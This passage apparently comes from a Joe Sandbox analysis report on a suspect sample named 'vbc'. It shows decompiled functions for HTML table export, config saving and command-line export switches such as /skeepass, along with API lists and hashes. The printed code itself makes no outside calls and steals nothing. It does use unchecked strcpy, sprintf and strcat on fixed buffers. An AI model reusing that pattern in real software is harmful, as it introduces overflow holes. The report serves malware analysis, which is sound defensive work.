				char* _t60;
				void* _t61;
				void* _t62;

				_t58 = __edi;
				_v264 = 0;
				memset( &_v263, 0, 0xfe);
				_v520 = 0;
				memset( &_v519, 0, 0xfe);
				_t62 = _t61 + 0x18;
				_v8 = 1;
				if( *((intOrPtr*)(__edi + 4)) == 0xffffffff &&  *((intOrPtr*)(__edi + 8)) <= 0) {
					_v8 = 0;
				}
				_t60 = _a4;
				 *_t60 = 0;
				if(_v8 != 0) {
					strcpy(_t60, "<font");
					_t32 =  *((intOrPtr*)(_t58 + 8));
					if(_t32 > 0) {
						sprintf( &_v264, " size=\"%d\"", _t32);
						strcat(_t60,  &_v264);
						_t62 = _t62 + 0x14;
					}
					_t33 =  *((intOrPtr*)(_t58 + 4));
					if( *((intOrPtr*)(_t58 + 4)) != 0xffffffff) {
						sprintf( &_v264, " color=\"#%s\"", E0040F071(_t33,  &_v520));
						strcat(_t60,  &_v264);
					}
					strcat(_t60, ">");
				}
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					strcat(_t60, "<b>");
				}
				strcat(_t60, _a8);
				if( *((intOrPtr*)(_t58 + 0xc)) != 0) {
					strcat(_t60, "</b>");
				}
				if(_v8 != 0) {
					strcat(_t60, "</font>");
				}
				return _t60;
			}













                                                                                                              0x0040f126
                                                                                                              0x0040f141
                                                                                                              0x0040f147
                                                                                                              0x0040f155
                                                                                                              0x0040f15b
                                                                                                              0x0040f160
                                                                                                              0x0040f167
                                                                                                              0x0040f16e
                                                                                                              0x0040f175
                                                                                                              0x0040f175
                                                                                                              0x0040f17b
                                                                                                              0x0040f17e
                                                                                                              0x0040f180
                                                                                                              0x0040f188
                                                                                                              0x0040f18d
                                                                                                              0x0040f194
                                                                                                              0x0040f1a3
                                                                                                              0x0040f1b0
                                                                                                              0x0040f1b5
                                                                                                              0x0040f1b5
                                                                                                              0x0040f1b8
                                                                                                              0x0040f1be
                                                                                                              0x0040f1da
                                                                                                              0x0040f1e7
                                                                                                              0x0040f1ec
                                                                                                              0x0040f1f5
                                                                                                              0x0040f1fb
                                                                                                              0x0040f1ff
                                                                                                              0x0040f207
                                                                                                              0x0040f20d
                                                                                                              0x0040f212
                                                                                                              0x0040f21c
                                                                                                              0x0040f224
                                                                                                              0x0040f22a
                                                                                                              0x0040f22e
                                                                                                              0x0040f236
                                                                                                              0x0040f23c
                                                                                                              0x0040f242

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040F147
                                                                                                              • memset.MSVCRT ref: 0040F15B
                                                                                                              • strcpy.MSVCRT(?,<font,?,?,?,?,?), ref: 0040F188
                                                                                                              • sprintf.MSVCRT ref: 0040F1A3
                                                                                                              • strcat.MSVCRT(?,?,?, size="%d",?,?,?,?,?,?), ref: 0040F1B0
                                                                                                              • sprintf.MSVCRT ref: 0040F1DA
                                                                                                              • strcat.MSVCRT(?,?,?, color="#%s",00000000,?,?,?,?,?,?,?), ref: 0040F1E7
                                                                                                              • strcat.MSVCRT(?,00413DF4,?,?,?,?,?), ref: 0040F1F5
                                                                                                              • strcat.MSVCRT(?,<b>,?,?,?,?,?), ref: 0040F207
                                                                                                              • strcat.MSVCRT(?,00409631,?,?,?,?,?), ref: 0040F212
                                                                                                              • strcat.MSVCRT(?,</b>,?,?,?,?,?), ref: 0040F224
                                                                                                              • strcat.MSVCRT(?,</font>,?,?,?,?,?), ref: 0040F236
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcat$memsetsprintf$strcpy
                                                                                                              • String ID: color="#%s"$ size="%d"$</b>$</font>$<b>$<font
                                                                                                              • API String ID: 1662040868-1996832678
                                                                                                              • Opcode ID: 7011e04130d48b63dca1ce687a5e40637fab1df2285b26d08083567b97ca835c
                                                                                                              • Instruction ID: 418722c3eca89b157b40b8f143ba28d640e3e929850bbea17599129c1cdb8299
                                                                                                              • Opcode Fuzzy Hash: 7011e04130d48b63dca1ce687a5e40637fab1df2285b26d08083567b97ca835c
                                                                                                              • Instruction Fuzzy Hash: 3F31D5B2841615BAC720AB55ED82DCAB36C9F10364F6041BFF215B31C2DA7C9FC48B98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AF17 Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 110stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040AF17(void* __eax, intOrPtr _a4) {
				char _v271;
				char _v532;
				intOrPtr _v536;
				char _v540;
				void _v803;
				char _v804;
				void* __ebx;
				void* __edi;
				char* _t47;
				intOrPtr _t67;
				WINDOWPLACEMENT* _t73;
				void* _t75;
				char* _t83;
				struct HWND__* _t84;
				intOrPtr _t88;
				int _t90;

				_t75 = __eax;
				_v804 = 0;
				memset( &_v803, 0, 0x104);
				GetModuleFileNameA(0,  &_v804, 0x104);
				_t47 = strrchr( &_v804, 0x2e);
				if(_t47 != 0) {
					 *_t47 = 0;
				}
				strcat( &_v804, ".cfg");
				_v536 = _a4;
				_v540 = 0x413bdc;
				_v532 = 0;
				_v271 = 0;
				strcpy( &_v532,  &_v804);
				strcpy( &_v271, "General");
				_t88 =  *((intOrPtr*)(_t75 + 0x36c));
				 *((intOrPtr*)(_v540 + 4))("ShowGridLines", _t88 + 4, 0);
				 *((intOrPtr*)(_v540 + 8))("SaveFilterIndex", _t88 + 8, 0);
				 *((intOrPtr*)(_v540 + 4))("AddExportHeaderLine", _t88 + 0xc, 0);
				 *((intOrPtr*)(_v540 + 4))("MarkOddEvenRows", _t88 + 0x10, 0);
				_t67 = _v536;
				_a4 = _t67;
				_t90 = 0x2c;
				if(_t67 != 0) {
					_t84 =  *(_t75 + 0x108);
					if(_t84 != 0) {
						_t73 = _t75 + 0x128;
						_t73->length = _t90;
						GetWindowPlacement(_t84, _t73);
					}
				}
				_t83 =  &_v540;
				 *((intOrPtr*)(_v540 + 0xc))("WinPos", _t75 + 0x128, _t90);
				if(_a4 == 0) {
					E00401896(_t75);
				}
				return E00408671( *((intOrPtr*)(_t75 + 0x370)), _t83,  &_v540);
			}



















                                                                                                              0x0040af29
                                                                                                              0x0040af35
                                                                                                              0x0040af3c
                                                                                                              0x0040af4d
                                                                                                              0x0040af5c
                                                                                                              0x0040af65
                                                                                                              0x0040af67
                                                                                                              0x0040af67
                                                                                                              0x0040af76
                                                                                                              0x0040af7e
                                                                                                              0x0040af92
                                                                                                              0x0040af9c
                                                                                                              0x0040afa3
                                                                                                              0x0040afaa
                                                                                                              0x0040afbb
                                                                                                              0x0040afc0
                                                                                                              0x0040afdf
                                                                                                              0x0040aff8
                                                                                                              0x0040b011
                                                                                                              0x0040b02a
                                                                                                              0x0040b02d
                                                                                                              0x0040b037
                                                                                                              0x0040b03a
                                                                                                              0x0040b03b
                                                                                                              0x0040b03d
                                                                                                              0x0040b045
                                                                                                              0x0040b047
                                                                                                              0x0040b04f
                                                                                                              0x0040b051
                                                                                                              0x0040b051
                                                                                                              0x0040b045
                                                                                                              0x0040b06a
                                                                                                              0x0040b070
                                                                                                              0x0040b076
                                                                                                              0x0040b078
                                                                                                              0x0040b078
                                                                                                              0x0040b092

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040AF3C
                                                                                                              • GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,00000000,00000000), ref: 0040AF4D
                                                                                                              • strrchr.MSVCRT ref: 0040AF5C
                                                                                                              • strcat.MSVCRT(00000000,.cfg), ref: 0040AF76
                                                                                                              • strcpy.MSVCRT(?,00000000,00000000,.cfg), ref: 0040AFAA
                                                                                                              • strcpy.MSVCRT(00000000,General,?,00000000,00000000,.cfg), ref: 0040AFBB
                                                                                                              • GetWindowPlacement.USER32(?,?), ref: 0040B051
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$FileModuleNamePlacementWindowmemsetstrcatstrrchr
                                                                                                              • String ID: .cfg$0@$AddExportHeaderLine$General$MarkOddEvenRows$SaveFilterIndex$ShowGridLines$WinPos
                                                                                                              • API String ID: 1301239246-2014360536
                                                                                                              • Opcode ID: eb541b8388b74fc04471e90b9f59632c9d2ea6da41be0549b214623736a651a6
                                                                                                              • Instruction ID: 2fe98fd5fda5e8878426aecce951da02ffd08f2862891724b98557ab80592e30
                                                                                                              • Opcode Fuzzy Hash: eb541b8388b74fc04471e90b9f59632c9d2ea6da41be0549b214623736a651a6
                                                                                                              • Instruction Fuzzy Hash: 3A413972940118ABCB61DB54CC88FDAB7BCEB58304F4441AAF509E7191DB74ABC5CBA4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409482 Relevance: 25.7, APIs: 10, Strings: 7, Instructions: 182stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 80%
                                                                                                              			E00409482(intOrPtr* __ebx, intOrPtr _a4, intOrPtr* _a8) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				void _v79;
				char _v80;
				void _v131;
				char _v132;
				void _v183;
				char _v184;
				char _v236;
				void _v491;
				char _v492;
				void* __edi;
				void* _t83;
				void* _t100;
				char* _t103;
				intOrPtr* _t120;
				signed int _t121;
				char _t139;
				signed int _t152;
				signed int _t153;
				signed int _t156;
				intOrPtr* _t157;
				void* _t158;
				void* _t160;

				_t120 = __ebx;
				_v492 = 0;
				memset( &_v491, 0, 0xfe);
				_t121 = 0xc;
				memcpy( &_v236, "<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s\r\n", _t121 << 2);
				asm("movsb");
				_t156 = 0;
				_v132 = 0;
				memset( &_v131, 0, 0x31);
				_v184 = 0;
				memset( &_v183, 0, 0x31);
				_v80 = 0;
				memset( &_v79, 0, 0x31);
				_t160 = _t158 + 0x3c;
				_t83 =  *((intOrPtr*)( *__ebx + 0x10))();
				_v12 =  *((intOrPtr*)(__ebx + 0x1b4));
				if(_t83 != 0xffffffff) {
					sprintf( &_v132, " bgcolor=\"%s\"", E0040F071(_t83,  &_v492));
					_t160 = _t160 + 0x14;
				}
				E00405EFD(_a4, "<table border=\"1\" cellpadding=\"5\">\r\n");
				_v8 = _t156;
				if( *((intOrPtr*)(_t120 + 0x20)) > _t156) {
					while(1) {
						_t152 =  *( *((intOrPtr*)(_t120 + 0x24)) + _v8 * 4);
						if( *((intOrPtr*)((_t152 << 4) +  *((intOrPtr*)(_t120 + 0x34)) + 4)) != _t156) {
							strcpy( &_v80, " nowrap");
						}
						_v28 = _v28 | 0xffffffff;
						_v24 = _v24 | 0xffffffff;
						_v20 = _v20 | 0xffffffff;
						_v16 = _t156;
						_t157 = _a8;
						 *((intOrPtr*)( *_t120 + 0x30))(5, _v8, _t157,  &_v28);
						E0040F071(_v28,  &_v184);
						E0040F09D( *((intOrPtr*)( *_t157))(_t152,  *(_t120 + 0x4c)),  *(_t120 + 0x50));
						 *((intOrPtr*)( *_t120 + 0x48))( *(_t120 + 0x50), _t157, _t152);
						_t100 =  *((intOrPtr*)( *_t120 + 0x14))();
						_t153 = _t152 * 0x14;
						if(_t100 == 0xffffffff) {
							strcpy( *(_t120 + 0x54),  *(_t153 + _v12 + 0x10));
						} else {
							_push( *(_t153 + _v12 + 0x10));
							_push(E0040F071(_t100,  &_v492));
							sprintf( *(_t120 + 0x54), "<font color=\"%s\">%s</font>");
							_t160 = _t160 + 0x10;
						}
						_t103 =  *(_t120 + 0x50);
						_t139 =  *_t103;
						if(_t139 == 0 || _t139 == 0x20) {
							strcat(_t103, "&nbsp;");
						}
						E0040F126( &_v28,  *((intOrPtr*)(_t120 + 0x58)),  *(_t120 + 0x50));
						sprintf( *(_t120 + 0x4c),  &_v236,  &_v132,  *(_t120 + 0x54),  &_v184,  &_v80,  *((intOrPtr*)(_t120 + 0x58)));
						E00405EFD(_a4,  *(_t120 + 0x4c));
						_t160 = _t160 + 0x2c;
						_v8 = _v8 + 1;
						if(_v8 >=  *((intOrPtr*)(_t120 + 0x20))) {
							goto L14;
						}
						_t156 = 0;
					}
				}
				L14:
				E00405EFD(_a4, "</table><p>");
				return E00405EFD(_a4, 0x412b1c);
			}































                                                                                                              0x00409482
                                                                                                              0x0040949b
                                                                                                              0x004094a2
                                                                                                              0x004094a9
                                                                                                              0x004094b5
                                                                                                              0x004094b7
                                                                                                              0x004094ba
                                                                                                              0x004094c1
                                                                                                              0x004094c5
                                                                                                              0x004094d4
                                                                                                              0x004094db
                                                                                                              0x004094e7
                                                                                                              0x004094eb
                                                                                                              0x004094f2
                                                                                                              0x004094f7
                                                                                                              0x00409503
                                                                                                              0x00409506
                                                                                                              0x0040951f
                                                                                                              0x00409524
                                                                                                              0x00409524
                                                                                                              0x0040952f
                                                                                                              0x00409539
                                                                                                              0x0040953c
                                                                                                              0x00409546
                                                                                                              0x0040954c
                                                                                                              0x0040955b
                                                                                                              0x00409566
                                                                                                              0x0040956c
                                                                                                              0x0040956f
                                                                                                              0x00409573
                                                                                                              0x00409577
                                                                                                              0x0040957f
                                                                                                              0x00409582
                                                                                                              0x0040958d
                                                                                                              0x0040959a
                                                                                                              0x004095ae
                                                                                                              0x004095bc
                                                                                                              0x004095c3
                                                                                                              0x004095c6
                                                                                                              0x004095cc
                                                                                                              0x00409601
                                                                                                              0x004095ce
                                                                                                              0x004095d1
                                                                                                              0x004095e4
                                                                                                              0x004095ed
                                                                                                              0x004095f2
                                                                                                              0x004095f2
                                                                                                              0x00409608
                                                                                                              0x0040960b
                                                                                                              0x0040960f
                                                                                                              0x0040961c
                                                                                                              0x00409622
                                                                                                              0x0040962c
                                                                                                              0x00409650
                                                                                                              0x0040965b
                                                                                                              0x00409660
                                                                                                              0x00409663
                                                                                                              0x0040966c
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00409544
                                                                                                              0x00409544
                                                                                                              0x00409546
                                                                                                              0x00409672
                                                                                                              0x0040967a
                                                                                                              0x00409692

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 004094A2
                                                                                                              • memset.MSVCRT ref: 004094C5
                                                                                                              • memset.MSVCRT ref: 004094DB
                                                                                                              • memset.MSVCRT ref: 004094EB
                                                                                                              • sprintf.MSVCRT ref: 0040951F
                                                                                                              • strcpy.MSVCRT(00000000, nowrap), ref: 00409566
                                                                                                              • sprintf.MSVCRT ref: 004095ED
                                                                                                              • strcat.MSVCRT(?,&nbsp;), ref: 0040961C
                                                                                                                • Part of subcall function 0040F071: sprintf.MSVCRT ref: 0040F090
                                                                                                              • strcpy.MSVCRT(?,?), ref: 00409601
                                                                                                              • sprintf.MSVCRT ref: 00409650
                                                                                                                • Part of subcall function 00405EFD: strlen.MSVCRT ref: 00405F0A
                                                                                                                • Part of subcall function 00405EFD: WriteFile.KERNEL32(00412B1C,00000001,00000000,74EC1245,00000000), ref: 00405F17
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memsetsprintf$strcpy$FileWritestrcatstrlen
                                                                                                              • String ID: bgcolor="%s"$ nowrap$&nbsp;$</table><p>$<font color="%s">%s</font>$<table border="1" cellpadding="5">$<tr><td%s nowrap><b>%s</b><td bgcolor=#%s%s>%s
                                                                                                              • API String ID: 2822972341-601624466
                                                                                                              • Opcode ID: ca9a12e501fe1fbd997685680bd2bfae0b12254e9316b678fa6584ad6f8df2c7
                                                                                                              • Instruction ID: 52fdeb1f016046010361db54033fcb762b78bd0ac31642afda0bfecd98a661c0
                                                                                                              • Opcode Fuzzy Hash: ca9a12e501fe1fbd997685680bd2bfae0b12254e9316b678fa6584ad6f8df2c7
                                                                                                              • Instruction Fuzzy Hash: 2C619E32900218AFCF15EF59CC86EDE7B79EF04314F1005AAF905AB1E2DB399A85DB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00409EC4 Relevance: 25.6, APIs: 17, Instructions: 108windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 58%
                                                                                                              			E00409EC4(void* __eax) {
				void* _v36;
				long _v40;
				void* _v44;
				void* _v56;
				long _t21;
				void* _t24;
				long _t26;
				long _t34;
				long _t37;
				intOrPtr* _t40;
				void* _t42;
				intOrPtr* _t44;
				void* _t47;

				_t40 = ImageList_Create;
				_t47 = __eax;
				_t44 = __imp__ImageList_SetImageCount;
				if( *((intOrPtr*)(__eax + 0x198)) != 0) {
					_t37 = ImageList_Create(0x10, 0x10, 0x19, 1, 1);
					 *(_t47 + 0x18c) = _t37;
					 *_t44(_t37, 1);
					SendMessageA( *(_t47 + 0x184), 0x1003, 1,  *(_t47 + 0x18c));
				}
				if( *((intOrPtr*)(_t47 + 0x19c)) != 0) {
					_t34 =  *_t40(0x20, 0x20, 0x19, 1, 1);
					 *(_t47 + 0x190) = _t34;
					 *_t44(_t34, 1);
					SendMessageA( *(_t47 + 0x184), 0x1003, 0,  *(_t47 + 0x190));
				}
				_t21 =  *_t40(0x10, 0x10, 0x19, 1, 1);
				 *(_t47 + 0x188) = _t21;
				 *_t44(_t21, 2);
				_v36 = LoadImageA( *0x416b94, 0x85, 0, 0x10, 0x10, 0x1000);
				_t24 = LoadImageA( *0x416b94, 0x86, 0, 0x10, 0x10, 0x1000);
				_t42 = _t24;
				 *_t44( *(_t47 + 0x188), 0);
				_t26 = GetSysColor(0xf);
				_v40 = _t26;
				ImageList_AddMasked( *(_t47 + 0x188), _v44, _t26);
				ImageList_AddMasked( *(_t47 + 0x188), _t42, _v40);
				DeleteObject(_v56);
				DeleteObject(_t42);
				return SendMessageA(E004049E7( *(_t47 + 0x184)), 0x1208, 0,  *(_t47 + 0x188));
			}
















                                                                                                              0x00409ec7
                                                                                                              0x00409ed5
                                                                                                              0x00409edf
                                                                                                              0x00409ee5
                                                                                                              0x00409ef1
                                                                                                              0x00409ef6
                                                                                                              0x00409efc
                                                                                                              0x00409f11
                                                                                                              0x00409f11
                                                                                                              0x00409f1a
                                                                                                              0x00409f26
                                                                                                              0x00409f2b
                                                                                                              0x00409f31
                                                                                                              0x00409f46
                                                                                                              0x00409f46
                                                                                                              0x00409f52
                                                                                                              0x00409f57
                                                                                                              0x00409f5d
                                                                                                              0x00409f93
                                                                                                              0x00409f97
                                                                                                              0x00409fa1
                                                                                                              0x00409fa3
                                                                                                              0x00409fa7
                                                                                                              0x00409fb8
                                                                                                              0x00409fc2
                                                                                                              0x00409fcf
                                                                                                              0x00409fdb
                                                                                                              0x00409fde
                                                                                                              0x0040a004

                                                                                                              APIs
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00409EF1
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000001), ref: 00409EFC
                                                                                                              • SendMessageA.USER32 ref: 00409F11
                                                                                                              • ImageList_Create.COMCTL32(00000020,00000020,00000019,00000001,00000001), ref: 00409F26
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000001), ref: 00409F31
                                                                                                              • SendMessageA.USER32 ref: 00409F46
                                                                                                              • ImageList_Create.COMCTL32(00000010,00000010,00000019,00000001,00000001), ref: 00409F52
                                                                                                              • ImageList_SetImageCount.COMCTL32(00000000,00000002), ref: 00409F5D
                                                                                                              • LoadImageA.USER32(00000085,00000000,00000010,00000010,00001000), ref: 00409F7B
                                                                                                              • LoadImageA.USER32(00000086,00000000,00000010,00000010,00001000), ref: 00409F97
                                                                                                              • ImageList_SetImageCount.COMCTL32(?,00000000), ref: 00409FA3
                                                                                                              • GetSysColor.USER32 ref: 00409FA7
                                                                                                              • ImageList_AddMasked.COMCTL32(?,?,00000000), ref: 00409FC2
                                                                                                              • ImageList_AddMasked.COMCTL32(?,00000000,?), ref: 00409FCF
                                                                                                              • DeleteObject.GDI32(?), ref: 00409FDB
                                                                                                              • DeleteObject.GDI32(00000000), ref: 00409FDE
                                                                                                              • SendMessageA.USER32 ref: 00409FFC
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: Image$List_$Count$CreateMessageSend$DeleteLoadMaskedObject$Color
                                                                                                              • String ID:
                                                                                                              • API String ID: 3411798969-0
                                                                                                              • Opcode ID: 467695da83f3f8742914b6257f9d468e5ea1cf314c2a89caacd0f02629d38904
                                                                                                              • Instruction ID: 9f66d34d320d782a5b10da91aa20dc2822d11362667953dcc3c6c241c584b6d3
                                                                                                              • Opcode Fuzzy Hash: 467695da83f3f8742914b6257f9d468e5ea1cf314c2a89caacd0f02629d38904
                                                                                                              • Instruction Fuzzy Hash: E23150716803087FFA316B70DC47FD67B95EB48B00F114829F395AA1E1CAF279909B18
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040B841 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 70COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 70%
                                                                                                              			E0040B841(signed int __eax, void* __esi) {
				void* _t5;
				void* _t6;
				void* _t7;
				void* _t8;
				void* _t9;
				void* _t10;

				_push("/shtml");
				L004115B2();
				if(__eax != 0) {
					_push("/sverhtml");
					L004115B2();
					if(__eax != 0) {
						_push("/sxml");
						L004115B2();
						if(__eax != 0) {
							_push("/stab");
							L004115B2();
							if(__eax != 0) {
								_push("/scomma");
								L004115B2();
								if(__eax != 0) {
									_push("/stabular");
									L004115B2();
									if(__eax != 0) {
										_push("/skeepass");
										L004115C4();
										asm("sbb eax, eax");
										return ( ~__eax & 0xfffffff8) + 8;
									} else {
										_t5 = 3;
										return _t5;
									}
								} else {
									_t6 = 7;
									return _t6;
								}
							} else {
								_t7 = 2;
								return _t7;
							}
						} else {
							_t8 = 6;
							return _t8;
						}
					} else {
						_t9 = 5;
						return _t9;
					}
				} else {
					_t10 = 4;
					return _t10;
				}
			}









                                                                                                              0x0040b842
                                                                                                              0x0040b847
                                                                                                              0x0040b850
                                                                                                              0x0040b857
                                                                                                              0x0040b85c
                                                                                                              0x0040b865
                                                                                                              0x0040b86c
                                                                                                              0x0040b871
                                                                                                              0x0040b87a
                                                                                                              0x0040b881
                                                                                                              0x0040b886
                                                                                                              0x0040b88f
                                                                                                              0x0040b896
                                                                                                              0x0040b89b
                                                                                                              0x0040b8a4
                                                                                                              0x0040b8ab
                                                                                                              0x0040b8b0
                                                                                                              0x0040b8b9
                                                                                                              0x0040b8c0
                                                                                                              0x0040b8c5
                                                                                                              0x0040b8cc
                                                                                                              0x0040b8d6
                                                                                                              0x0040b8bb
                                                                                                              0x0040b8bd
                                                                                                              0x0040b8be
                                                                                                              0x0040b8be
                                                                                                              0x0040b8a6
                                                                                                              0x0040b8a8
                                                                                                              0x0040b8a9
                                                                                                              0x0040b8a9
                                                                                                              0x0040b891
                                                                                                              0x0040b893
                                                                                                              0x0040b894
                                                                                                              0x0040b894
                                                                                                              0x0040b87c
                                                                                                              0x0040b87e
                                                                                                              0x0040b87f
                                                                                                              0x0040b87f
                                                                                                              0x0040b867
                                                                                                              0x0040b869
                                                                                                              0x0040b86a
                                                                                                              0x0040b86a
                                                                                                              0x0040b852
                                                                                                              0x0040b854
                                                                                                              0x0040b855
                                                                                                              0x0040b855

                                                                                                              APIs
                                                                                                              • _stricmp.MSVCRT(/shtml,00412466,0040B940,?,00000000,00000000,?,?,?,0040BAC6), ref: 0040B847
                                                                                                              • _stricmp.MSVCRT(/sverhtml,00412466,0040B940,?,00000000,00000000,?,?,?,0040BAC6), ref: 0040B85C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _stricmp
                                                                                                              • String ID: /scomma$/shtml$/skeepass$/stab$/stabular$/sverhtml$/sxml
                                                                                                              • API String ID: 2884411883-1959339147
                                                                                                              • Opcode ID: 045e389345d67b823dfff1935a382fcf458878b8cd1f840f130b7354828c5bc8
                                                                                                              • Instruction ID: 4e6abd9895fa0fe71fc14c80fe1cf8958250247b4a97c707517fcc1bdd8d2f83
                                                                                                              • Opcode Fuzzy Hash: 045e389345d67b823dfff1935a382fcf458878b8cd1f840f130b7354828c5bc8
                                                                                                              • Instruction Fuzzy Hash: AD011A7328931038F82925662C17FC30A8ACBD1BBBF30856BF606E41E5EF5DA5C0506D
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040F243 Relevance: 24.1, APIs: 10, Strings: 6, Instructions: 114stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 92%
                                                                                                              			E0040F243(intOrPtr _a4, intOrPtr _a8, char _a12, char _a16, intOrPtr _a20) {
				void _v259;
				char _v260;
				void _v515;
				char _v516;
				void _v771;
				char _v772;
				void _v1027;
				char _v1028;
				char _v1284;
				char _v2308;
				char _t47;
				intOrPtr* _t50;
				void* _t57;
				intOrPtr* _t73;
				void* _t76;
				void* _t77;
				void* _t78;
				void* _t79;

				_v1028 = 0;
				memset( &_v1027, 0, 0xfe);
				_v772 = 0;
				memset( &_v771, 0, 0xfe);
				_v516 = 0;
				memset( &_v515, 0, 0xfe);
				_t77 = _t76 + 0x24;
				if(_a16 != 0xffffffff) {
					sprintf( &_v1028, " bgcolor=\"%s\"", E0040F071(_a16,  &_v1284));
					_t77 = _t77 + 0x14;
				}
				if(_a20 != 0xffffffff) {
					sprintf( &_v772, "<font color=\"%s\">", E0040F071(_a20,  &_v1284));
					strcpy( &_v516, "</font>");
					_t77 = _t77 + 0x1c;
				}
				sprintf( &_v2308, "<table border=\"1\" cellpadding=\"5\"><tr%s>\r\n",  &_v1028);
				E00405EFD(_a4,  &_v2308);
				_t47 = _a12;
				_t78 = _t77 + 0x14;
				if(_t47 > 0) {
					_t73 = _a8 + 4;
					_a16 = _t47;
					do {
						_v260 = 0;
						memset( &_v259, 0, 0xfe);
						_t50 =  *_t73;
						_t79 = _t78 + 0xc;
						if( *_t50 == 0) {
							_v260 = 0;
						} else {
							sprintf( &_v260, " width=\"%s\"", _t50);
							_t79 = _t79 + 0xc;
						}
						sprintf( &_v2308, "<th%s>%s%s%s\r\n",  &_v260,  &_v772,  *((intOrPtr*)(_t73 - 4)),  &_v516);
						_t57 = E00405EFD(_a4,  &_v2308);
						_t78 = _t79 + 0x20;
						_t73 = _t73 + 8;
						_t34 =  &_a16;
						 *_t34 = _a16 - 1;
					} while ( *_t34 != 0);
					return _t57;
				}
				return _t47;
			}





















                                                                                                              0x0040f25e
                                                                                                              0x0040f264
                                                                                                              0x0040f272
                                                                                                              0x0040f278
                                                                                                              0x0040f286
                                                                                                              0x0040f28c
                                                                                                              0x0040f291
                                                                                                              0x0040f298
                                                                                                              0x0040f2b6
                                                                                                              0x0040f2bb
                                                                                                              0x0040f2bb
                                                                                                              0x0040f2c2
                                                                                                              0x0040f2e0
                                                                                                              0x0040f2f1
                                                                                                              0x0040f2f6
                                                                                                              0x0040f2f6
                                                                                                              0x0040f30c
                                                                                                              0x0040f31b
                                                                                                              0x0040f320
                                                                                                              0x0040f323
                                                                                                              0x0040f328
                                                                                                              0x0040f332
                                                                                                              0x0040f335
                                                                                                              0x0040f338
                                                                                                              0x0040f341
                                                                                                              0x0040f347
                                                                                                              0x0040f34c
                                                                                                              0x0040f34e
                                                                                                              0x0040f353
                                                                                                              0x0040f36c
                                                                                                              0x0040f355
                                                                                                              0x0040f362
                                                                                                              0x0040f367
                                                                                                              0x0040f367
                                                                                                              0x0040f396
                                                                                                              0x0040f3a5
                                                                                                              0x0040f3aa
                                                                                                              0x0040f3ad
                                                                                                              0x0040f3b0
                                                                                                              0x0040f3b0
                                                                                                              0x0040f3b0
                                                                                                              0x00000000
                                                                                                              0x0040f3b5
                                                                                                              0x0040f3b9

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
